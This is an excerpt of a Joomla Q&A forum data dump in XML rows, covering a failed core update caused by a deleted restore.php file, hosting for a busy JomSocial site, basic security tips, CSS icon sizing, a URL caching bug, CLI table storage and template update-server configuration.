  <row Id="13944" PostTypeId="1" AcceptedAnswerId="13945" CreationDate="2015-10-15T17:00:43.847" Score="2" ViewCount="4445" Body="&lt;p&gt;I just had to update a customers Joomla site from 3.4.1 to 3.4.4 and when I click the Joomla Update button, it throws me a Javascript alert message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ERROR:AJAX Loading Error: Not Found site&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Click ok on the prompt with the hope to continue the update, the updater stacks with the spinning wheel and nothing happens - no update progress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am unable to update - what's wrong?&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-10-15T17:03:10.253" Title="Joomla Update: ERROR:AJAX Loading Error: Not Found" Tags="|update|one-click-updates|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13945" PostTypeId="2" ParentId="13944" CreationDate="2015-10-15T17:00:43.847" Score="2" Body="&lt;p&gt;After checking for :&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Permissions and all seems to be okay.&lt;/li&gt;&#xA;&lt;li&gt;Php config settings (memory_limit, max_execution_time etc) all are set at adequate values, so they shouldn't be a problem.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;This seemed to be a problem caused by the hosting provider's malware scanner. The restore.php script &lt;code&gt;('administrator/components/com_joomlaupdate/restore.php')&lt;/code&gt; is missing and causing this error - also shown in the browser's console as:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Failed to load resource: the server responded with a status of 404&#xA;(Not Found)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I know about this hosting provider malware that is deleting other essential files from Joomla core and extensions - I had faced similar  issues with K2, Akeeba BackUp and other extensions in the past.&lt;/p&gt;&#xA;&lt;p&gt;So, doing a Google Search about this issue, it seems that other users in other hosting providers face similar issues, and they can't find what's wrong.&lt;/p&gt;&#xA;&lt;p&gt;In such case - and after checking for the other common possible causes, like file permissions and php settings, the solution to update your Joomla, is to manually restore the Joomla Update component files that are missing and then do the update from the backend if in the meanwhile their scanner won't delete again your files.&lt;/p&gt;&#xA;&lt;p&gt;The other solution would be to try to update by installing the appropriate update package through the extensions installer.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;As always, backup before performing any such actions.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Re-think about your hosting provider - as it's unacceptable that they are deleting essential files from your site, without notifying you.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3&gt;Ok a small update notice:&lt;/h3&gt;&#xA;&lt;p&gt;To not blame all hosting providers out there if it happens as such issue for you, in some cases, this can be happened by a prior corrupted installation of Joomla, or even manually if someone deletes this or other essential files.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-10-15T17:03:10.253" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13946" PostTypeId="2" ParentId="13936" CreationDate="2015-10-15T17:33:25.077" Score="2" Body="&lt;p&gt;You probably forgot to specify &lt;code&gt;container&lt;/code&gt; of the form fields. Your code should be something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;form-&amp;gt;getValue('fallBeginning', 'container')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if your field has actual html code like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;container[fallBeginning]&quot; value=&quot;x&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;container&lt;/code&gt; value depends on your xml definition, what is the name of &lt;code&gt;fields&lt;/code&gt;. For example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form&amp;gt;&#xA;    &amp;lt;fields name=&quot;container&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="50" LastActivityDate="2015-10-15T17:33:25.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13947" PostTypeId="1" CreationDate="2015-10-15T21:26:03.720" Score="0" ViewCount="55" Body="&lt;p&gt;Hello can any one tell me how to protect joomla from virus and hacking or any other threat?&lt;/p&gt;&#xA;" OwnerUserId="6854" LastActivityDate="2015-10-16T04:51:18.947" Title="How to protect joomla from hacking, virus and any other threat?" Tags="|joomla-3.x|performance|hack|" AnswerCount="1" CommentCount="1" ClosedDate="2015-10-16T06:53:31.810" ContentLicense="CC BY-SA 3.0" />
  <row Id="13948" PostTypeId="1" CreationDate="2015-10-15T21:34:52.153" Score="2" ViewCount="259" Body="&lt;p&gt;I am about to launch a JomSocial website on Joomla for my university project.. there will be 30000 users per second.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is joomla capable to handle this much traffic and load?&lt;br&gt;&#xA;Which will be the best hosting for this site with maximum space and bandwidth?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should I start this project so that I would not face any failure?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please give your precious comments&lt;/p&gt;&#xA;" OwnerUserId="6854" LastEditorUserId="126" LastEditDate="2015-10-16T05:34:38.043" LastActivityDate="2015-10-26T18:26:52.927" Title="Which hosting is best for jomsocial website?" Tags="|performance|server|jomsocial|hosting|" AnswerCount="3" CommentCount="0" ClosedDate="2015-10-26T20:02:23.947" ContentLicense="CC BY-SA 3.0" />
  <row Id="13949" PostTypeId="2" ParentId="13948" CreationDate="2015-10-15T21:52:46.173" Score="0" Body="&lt;p&gt;I would always recommend &lt;a href=&quot;https://www.siteground.com/&quot; rel=&quot;nofollow&quot;&gt;SiteGround&lt;/a&gt; for hosing Joomla based websites, primarily because they specialise in Joomla hosting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't used their Cloud servers before, however I'm on the highest Shared Hosting package, which gives be a large amount of resources.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They're also used by 2 of, probably the most well know Joomla extension developers (Akeeba and NoNumber)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Disclaimer: I am not affiliated with or endorsed by SiteGround&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-10-15T21:52:46.173" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13951" PostTypeId="2" ParentId="13947" CreationDate="2015-10-16T04:51:18.947" Score="0" Body="&lt;p&gt;&lt;strong&gt;Keeping a joomla website secure&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Outdated Joomla Core   &lt;/li&gt;&#xA;&lt;li&gt;Extensions&lt;/li&gt;&#xA;&lt;li&gt;Outdated Themes / Templates&lt;/li&gt;&#xA;&lt;li&gt;Weak passwords&lt;/li&gt;&#xA;&lt;li&gt;Outdated Server software&lt;/li&gt;&#xA;&lt;li&gt;Incorrectly configured&#xA;    hosting software&lt;/li&gt;&#xA;&lt;li&gt;Incorrectly set permissions&lt;/li&gt;&#xA;&lt;li&gt;Malware&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5404" LastActivityDate="2015-10-16T04:51:18.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13952" PostTypeId="2" ParentId="13948" CreationDate="2015-10-16T06:35:57.257" Score="0" Body="&lt;p&gt;30000 users per second and JomSocial? There is no shared Hosting package that will allow you to run site like this due on CPU limits.&lt;br&gt;&#xA;You will need VPS or better - dedicated server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And yes, Joomla is capable to handle this traffic and load.&lt;/p&gt;&#xA;" OwnerUserId="3514" LastEditorUserId="126" LastEditDate="2015-10-16T11:12:21.583" LastActivityDate="2015-10-16T11:12:21.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13953" PostTypeId="2" ParentId="13942" CreationDate="2015-10-16T06:50:53.457" Score="0" Body="&lt;p&gt;RewriteBase must be with slash at end, something like this:&#xA;RewriteBase /srv/http/joomla/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use seo urls in Joomla both settings &quot;Search Engine Friendly URLs&quot; and &quot;Use URL Rewriting&quot; must be activated, see screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1BK4E.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1BK4E.png&quot; alt=&quot;joomla seo urls settings&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3514" LastActivityDate="2015-10-16T06:50:53.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13954" PostTypeId="2" ParentId="13948" CreationDate="2015-10-16T11:05:19.337" Score="0" Body="&lt;p&gt;Well, first I have to say, that this is not a strictly Joomla question, and most likely it's something should be asked at other SE sites (server fault or similar).&lt;/p&gt;&#xA;&lt;h1&gt;Considerations&lt;/h1&gt;&#xA;&lt;p&gt;Here some things to consider for your project and also for anyone that might end up here looking for an answer for his business or other large project. (servers-wise speaking, I 'm not an expert, but have done my homework):&lt;/p&gt;&#xA;&lt;p&gt;In terms of choosing the hosting provider, there can be many recommendations (&lt;em&gt;see below in the answer&lt;/em&gt;). But considering the given number of 30000 users/second, the question here should be more of what resources you are going to need and how efficient will be your application.&lt;br /&gt;&#xA;Of course there can't be a direct answer to this, as you need more &lt;strong&gt;metrics&lt;/strong&gt;, like max page views per second/minute/hour, page load time, and of course a lot of &lt;strong&gt;testing&lt;/strong&gt;, &lt;strong&gt;benchmarking&lt;/strong&gt; and &lt;strong&gt;optimizations&lt;/strong&gt; while developing and after delivering the application.&lt;/p&gt;&#xA;&lt;br /&gt;&#xA;&lt;h2&gt;Is Joomla Capable for such project?&lt;/h2&gt;&#xA;&lt;p&gt;&lt;strong&gt;Joomla&lt;/strong&gt; is a web application that runs on top of &lt;strong&gt;LAMP&lt;/strong&gt;, so what is Joomla capable to do is actually everything you can do using this software bundle. You realize that a lot of things are involved here and delivering performance is a combination of things.&lt;/p&gt;&#xA;&lt;p&gt;So assuming the Server &amp;amp; Network proper configuration will be the responsibility of the Hosting Provider / System Administrators, &lt;strong&gt;your responsibility is to deliver an optimized web application&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Things to consider are &lt;strong&gt;database queries&lt;/strong&gt;, &lt;strong&gt;long script execution time&lt;/strong&gt;, &lt;strong&gt;memory usage for scripts&lt;/strong&gt; etc. Also, ongoing &lt;strong&gt;monitoring&lt;/strong&gt; and &lt;strong&gt;maintenance&lt;/strong&gt; by testing, benchmarking and optimizing should be part of your tasks.&lt;/p&gt;&#xA;&lt;p&gt;This is not because it will be a Joomla based site, but it is because how things work. The same would be true for any application disregarding the platform or (if you better like) the CMS.&lt;/p&gt;&#xA;&lt;p&gt;Looking at Joomla, you should carefully select what extensions will be used and maybe be ready to customize or fix code that won't perform well - working in conjunction with the developers of the extensions if needed. That's because although Joomla is wonderful and powerful, this doesn't mean everything is perfect.&lt;/p&gt;&#xA;&lt;p&gt;Keep in mind that a single line of code (memory consuming script), or a bad structured db query (with high execution times), or a not-efficiently designed database (absence of proper normalization) can make your web application a resource-heavy beast, not able to run even in the bigger and best optimized servers/networks.&lt;/p&gt;&#xA;&lt;p&gt;Apparently an optimized application is also &lt;strong&gt;very important to keep hosting costs as down as possible&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;h3&gt;Simple example&lt;/h3&gt;&#xA;&lt;p&gt;An example could be a module that contains a non-optimized long-executable query that needs seconds to run. Can you think of what will happen if the module is being called some thousands times per second? In such scenario that db server will be exhausted and most likely will not be able to handle this.&lt;/p&gt;&#xA;&lt;p&gt;When speaking for this big number of requests, each mili-second counts. So that's why the optimization is that important and you should be able to locate such flaws in your application and fix them.&lt;/p&gt;&#xA;&lt;br /&gt;&#xA;&lt;h2&gt;Server configuration&lt;/h2&gt;&#xA;&lt;p&gt;In any case, if the 30000/second number is going to be true, then I don't think you can fit in a shared hosting. I don't know of any hosting provider that would accept a such project to his sharing packages.&lt;/p&gt;&#xA;&lt;p&gt;You definitely are going to need dedicated resources. Depending on your demands for high availability and scalability, you might have to end-up with &lt;strong&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Multitier_architecture&quot; rel=&quot;nofollow noreferrer&quot;&gt;multi-tier server configuration&lt;/a&gt;&lt;/strong&gt;. A common setup is the &lt;strong&gt;3-tier&lt;/strong&gt; architecture which includes:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;1 (or more) servers dedicated for the databases,&lt;/li&gt;&#xA;&lt;li&gt;1 (or more) application server for running the code,&lt;/li&gt;&#xA;&lt;li&gt;1 (or more) front-end server delivering static content&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;This could be achieved with dedicated servers or cloud servers / VPS.&#xA;Of course there will be costs and if you are not qualified to set this up and maintain it, you will have extra costs for the administration.&lt;/p&gt;&#xA;&lt;br /&gt;&#xA;&lt;h2&gt;Hosting Providers&lt;/h2&gt;&#xA;&lt;p&gt;This is a short list of hosting providers (better for dedicated or VPS solutions) that is in my top list after long personal research, including cloud hosting providers. Of course further research from your side is required:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.futurehosting.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.futurehosting.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.knownhost.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.knownhost.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.wiredtree.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.wiredtree.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.linode.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.linode.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.digitalocean.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.digitalocean.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.vultr.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.vultr.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://xlhost.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://xlhost.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://siteground.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://siteground.com/&lt;/a&gt; as Lodder said, are well known for their Joomla friendly environment and they are knowledgable. They also provide VPS and Dedicated servers with good support.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;(*Providers appear in no particular order.)&lt;/p&gt;&#xA;&lt;p&gt;And the last few things to keep in mind, is that if you are going to end with dedicated servers, you can be the one that will define the setup, so it comes out that you can create the right environment for Joomla.&lt;/p&gt;&#xA;&lt;p&gt;In such case, what you need is a knowledgable provider with high level and quick support, that will guarantee a secure, reliable and optimized environment, which is the important part, rather than the package features that come with.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-10-26T18:26:52.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13955" PostTypeId="1" CreationDate="2015-10-16T12:09:59.893" Score="0" ViewCount="59" Body="&lt;p&gt;I want to ask what is name of template on these two sites:&lt;br&gt;&#xA;ukraina.ru &amp;amp; elpiadis.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm searching for the name of their templates for a few months now.&lt;/p&gt;&#xA;" OwnerUserId="7106" LastEditorUserId="126" LastEditDate="2015-10-16T12:55:02.467" LastActivityDate="2015-10-19T08:43:48.897" Title="Can someone tell me what is this template" Tags="|joomla-2.5|" AnswerCount="1" CommentCount="3" ClosedDate="2015-10-19T08:48:27.153" ContentLicense="CC BY-SA 3.0" />
  <row Id="13956" PostTypeId="2" ParentId="13955" CreationDate="2015-10-16T12:17:18.723" Score="1" Body="&lt;p&gt;The first site you provided is not a Joomla site, therefore knowing the template nearly impossible. They have have built it themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second site you provided is a Joomla site, and the template name is &lt;strong&gt;elpiadis&lt;/strong&gt;, so they have built this themselves.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-10-16T12:17:18.723" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13958" PostTypeId="1" AcceptedAnswerId="13962" CreationDate="2015-10-16T15:36:24.877" Score="3" ViewCount="453" Body="&lt;p&gt;A really quick question...&lt;br&gt;&#xA;Is there any setting that can change the size of the default Joomla 3 icons? I know I can upload bigger pictures, but it is quite tedious. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone knows how to achieve that in a faster automatic way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you&lt;/p&gt;&#xA;" OwnerUserId="7011" LastEditorUserId="126" LastEditDate="2015-10-16T16:21:12.493" LastActivityDate="2015-10-16T20:27:44.800" Title="Changing default size of Joomla icons" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13962" PostTypeId="2" ParentId="13958" CreationDate="2015-10-16T20:27:44.800" Score="4" Body="&lt;p&gt;There are two types of icons:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Images (legacy icons)&lt;/li&gt;&#xA;&lt;li&gt;CSS class&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Two templates that come with Joomla 3.x can be used as a good example of this, beez3 uses images, and protostar uses CSS classes. By the way default way is CSS class, so this is the simplest way to do it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.icon-print, .icon-envelope{&#xA;    font-size: 24px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And you've got yourself some really big icons.&#xA;Also reading this will help you to understand how you override Joomla components and modules: &lt;a href=&quot;https://docs.joomla.org/Understanding_Output_Overrides&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Understanding_Output_Overrides&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5755" LastActivityDate="2015-10-16T20:27:44.800" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13964" PostTypeId="2" ParentId="182" CreationDate="2015-10-17T12:52:38.600" Score="1" Body="&lt;p&gt;You might choose to focus on dates rather than versions as such.  E.g. if you look at the modification date in the headers for a common static file (e.g. maybe you might choose the jquery script file), it's likely to effectively tell you when that file was installed or packaged.  You can compare that with the current date and/or the date of the last security release to get a pretty good idea of the maintenance status of the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a variety of ways the file date can get set, so this isn't 100 reliable, but it's mostly pretty good, and has the advantage of being applicable across many different kinds of servers and software.&lt;/p&gt;&#xA;" OwnerUserId="7116" LastActivityDate="2015-10-17T12:52:38.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13966" PostTypeId="1" CreationDate="2015-10-18T01:38:26.620" Score="0" ViewCount="179" Body="&lt;p&gt;I have a php page that processes 2 parameters on the URL that calls it.  I can't figure out why jinput-&gt;get works sometimes but not every time.  The code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;$source = $jinput-&amp;gt;get('source', &quot;&quot;, 'string');&#xA;$volume = $jinput-&amp;gt;get('volume', &quot;&quot;, 'string');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the following URLs work only if the previous URL had a different volume number:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;URL 1.&lt;br&gt;&#xA;&lt;a href=&quot;http://ilfvgs.org/index.php/online-data/mi/volume?source=IN&amp;amp;volume=13,%2303&quot; rel=&quot;nofollow&quot;&gt;http://ilfvgs.org/index.php/online-data/mi/volume?source=IN&amp;amp;volume=13,%2303&lt;/a&gt;&#xA;works fine returning the correct $volume = &quot;13,#03&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;URL 2.&#xA;&lt;a href=&quot;http://ilfvgs.org/index.php/online-data/mi/volume?source=IN&amp;amp;volume=13,%2306&quot; rel=&quot;nofollow&quot;&gt;http://ilfvgs.org/index.php/online-data/mi/volume?source=IN&amp;amp;volume=13,%2306&lt;/a&gt;&#xA;works but not if it is used just after URL 1.  If this call came after URL 1., jinput-&gt;get() returns $volume = &quot;13,#03&quot; instead of &quot;13,#06&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the volume is changed to &quot;14,#02&quot;, it will work correctly (unless the previous call was for &quot;14,#01&quot;).  So it appears that the volume parameter is only getting reloaded if the number at the start of the volume (e.g. 13 or 14) changes!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This fails regardless of the numbers involved.  For example the same thing occurs if the volume is &quot;10,#1&quot; and &quot;10,#2&quot; for URL 1, and 2 (using an appropriate source).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Joomla! 2.5.16&lt;/p&gt;&#xA;" OwnerUserId="7119" LastEditorUserId="1629" LastEditDate="2015-10-18T04:29:35.767" LastActivityDate="2015-10-18T20:44:10.830" Title="jinput-&gt;get doesn't consistently return a particular URL parameter" Tags="|joomla-2.5|jinput|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13967" PostTypeId="1" AcceptedAnswerId="13971" CreationDate="2015-10-18T08:30:22.430" Score="3" ViewCount="469" Body="&lt;p&gt;Is it possible to use update server for managing template updates? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read &lt;a href=&quot;https://docs.joomla.org/Deploying_an_Update_Server&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; that template is not supported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But is the article up-to-date? Because on that article there is also a line that states :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;client - Required for modules and &lt;strong&gt;templates&lt;/strong&gt; as of 3.2.0.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2295" LastEditorUserId="2295" LastEditDate="2015-10-19T02:32:15.170" LastActivityDate="2020-05-12T07:46:59.300" Title="Update Server for template" Tags="|templates|update|module-params|one-click-updates|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13968" PostTypeId="2" ParentId="13966" CreationDate="2015-10-18T12:19:07.537" Score="1" Body="&lt;p&gt;It could be due to some caching, where the code is executed again only for a &quot;different&quot; request - caching plugin may have a bug that they don't differentiate elements in URL after the comma&lt;/p&gt;&#xA;" OwnerUserId="50" LastActivityDate="2015-10-18T12:19:07.537" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13969" PostTypeId="1" CreationDate="2015-10-18T14:47:40.413" Score="3" ViewCount="118" Body="&lt;p&gt;I got a little problem: I would like to create a form, which content is saved into 2 databases. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Field1 -&amp;gt; #__table_1&#xA;Field2 -&amp;gt; #__table_2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm doing this by extending the save-method in my model, which works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But: In my &lt;code&gt;JTable::store&lt;/code&gt;-method I'm checking the inputs of the user and sometimes I modify other fields according to the value of a specific field. Because not all values are stored in $this (because the fields do not exist in &lt;code&gt;#__table_1&lt;/code&gt;) I have to work with &lt;code&gt;$jinput&lt;/code&gt; to get these values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well - now I got a problem: I would like to create items by CLI doing this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data['id'] = NULL;&#xA;$data['field1'] = JFactory::getDate();;&#xA;$data['field2'] = $json;                        &#xA;&#xA;// Lets store it!   &#xA;$row = JTable::getInstance('Ticket','BestiaTable');&#xA;$row-&amp;gt;bind($data);&#xA;$row-&amp;gt;check();&#xA;$store = $row-&amp;gt;store(); &#xA;&#xA;if($store == true)  return $row-&amp;gt;id;&#xA;&#xA;else return false;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This does not work because during &lt;code&gt;bind()&lt;/code&gt; the values that do not exist in &lt;code&gt;#__table_1&lt;/code&gt; are not available for store-process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I change that? How can I push &lt;code&gt;field2&lt;/code&gt;'s value to the store-method?&lt;/p&gt;&#xA;" OwnerUserId="4028" LastActivityDate="2015-12-18T21:10:47.633" Title="Joomla: How to insert $jinput to JTable::store via CLI?" Tags="|jtable|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13970" PostTypeId="2" ParentId="13966" CreationDate="2015-10-18T20:44:10.830" Score="0" Body="&lt;p&gt;It appears there is a bug in the Joomla caching plugin that doesn't refresh if the it thinks the URL has not changed.  It apparently does not process the URL beyond a &quot;#&quot; character.  I verified this by removing the &quot;#&quot; from the URL parameter (and then adding it back to make the following database query work) and the URL parameter was correctly updated every time.  Thanks to Marko D for suggesting it might not be processing the parameter after the &quot;,&quot; which was the right idea but not the right character.&lt;/p&gt;&#xA;" OwnerUserId="7119" LastActivityDate="2015-10-18T20:44:10.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13971" PostTypeId="2" ParentId="13967" CreationDate="2015-10-19T03:23:43.547" Score="6" Body="&lt;p&gt;I think the &lt;a href=&quot;https://docs.joomla.org/Deploying_an_Update_Server&quot;&gt;article&lt;/a&gt; is not up-to-date because update server is working properly with template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code I use in the templateDetails.xml&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;updateservers&amp;gt;&#xA;   &amp;lt;server type=&quot;extension&quot; name=&quot;mytemplate&quot; priority=&quot;1&quot;&amp;gt;http://www.domain.com/updates/template.xml&amp;lt;/server&amp;gt;&#xA;&amp;lt;/updateservers&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this is the content of my &lt;a href=&quot;http://www.domain.com/updates/template.xml&quot;&gt;http://www.domain.com/updates/template.xml&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;updates&amp;gt;&#xA;    &amp;lt;update&amp;gt;&#xA;        &amp;lt;name&amp;gt;My Template&amp;lt;/name&amp;gt;&#xA;        &amp;lt;description&amp;gt;My Template&amp;lt;/description&amp;gt;&#xA;        &amp;lt;element&amp;gt;mytemplate&amp;lt;/element&amp;gt;&#xA;        &amp;lt;type&amp;gt;template&amp;lt;/type&amp;gt;&#xA;        &amp;lt;version&amp;gt;1.2&amp;lt;/version&amp;gt;&#xA;        &amp;lt;infourl title=&quot;My template 1.2&quot;&amp;gt;&amp;lt;![CDATA[ My template update ]]&amp;gt;&amp;lt;/infourl&amp;gt;&#xA;        &amp;lt;downloads&amp;gt;&#xA;            &amp;lt;downloadurl type=&quot;full&quot; format=&quot;zip&quot;&amp;gt;http://www.domain.com/updates/template.xml&amp;lt;/downloadurl&amp;gt;&#xA;        &amp;lt;/downloads&amp;gt;&#xA;        &amp;lt;maintainer&amp;gt;Me&amp;lt;/maintainer&amp;gt;&#xA;        &amp;lt;maintainerurl&amp;gt;http://www.domain.com&amp;lt;/maintainerurl&amp;gt;&#xA;        &amp;lt;targetplatform name=&quot;joomla&quot; version=&quot;3.[12345]&quot;/&amp;gt;&#xA;        &amp;lt;client&amp;gt;0&amp;lt;/client&amp;gt;&#xA;        &amp;lt;client_id&amp;gt;0&amp;lt;/client_id&amp;gt;&#xA;    &amp;lt;/update&amp;gt;&#xA;&amp;lt;/updates&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2015-10-19T03:23:43.547" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13973" PostTypeId="2" ParentId="13923" CreationDate="2015-10-19T07:02:21.967" Score="0" Body="&lt;p&gt;I changed &lt;code&gt;A-name&lt;/code&gt; for my &lt;code&gt;example.com&lt;/code&gt; but not for &lt;code&gt;www.example.com&lt;/code&gt; so with &lt;code&gt;www&lt;/code&gt; we saw old site.&lt;/p&gt;&#xA;" OwnerUserId="7091" LastActivityDate="2015-10-19T07:02:21.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
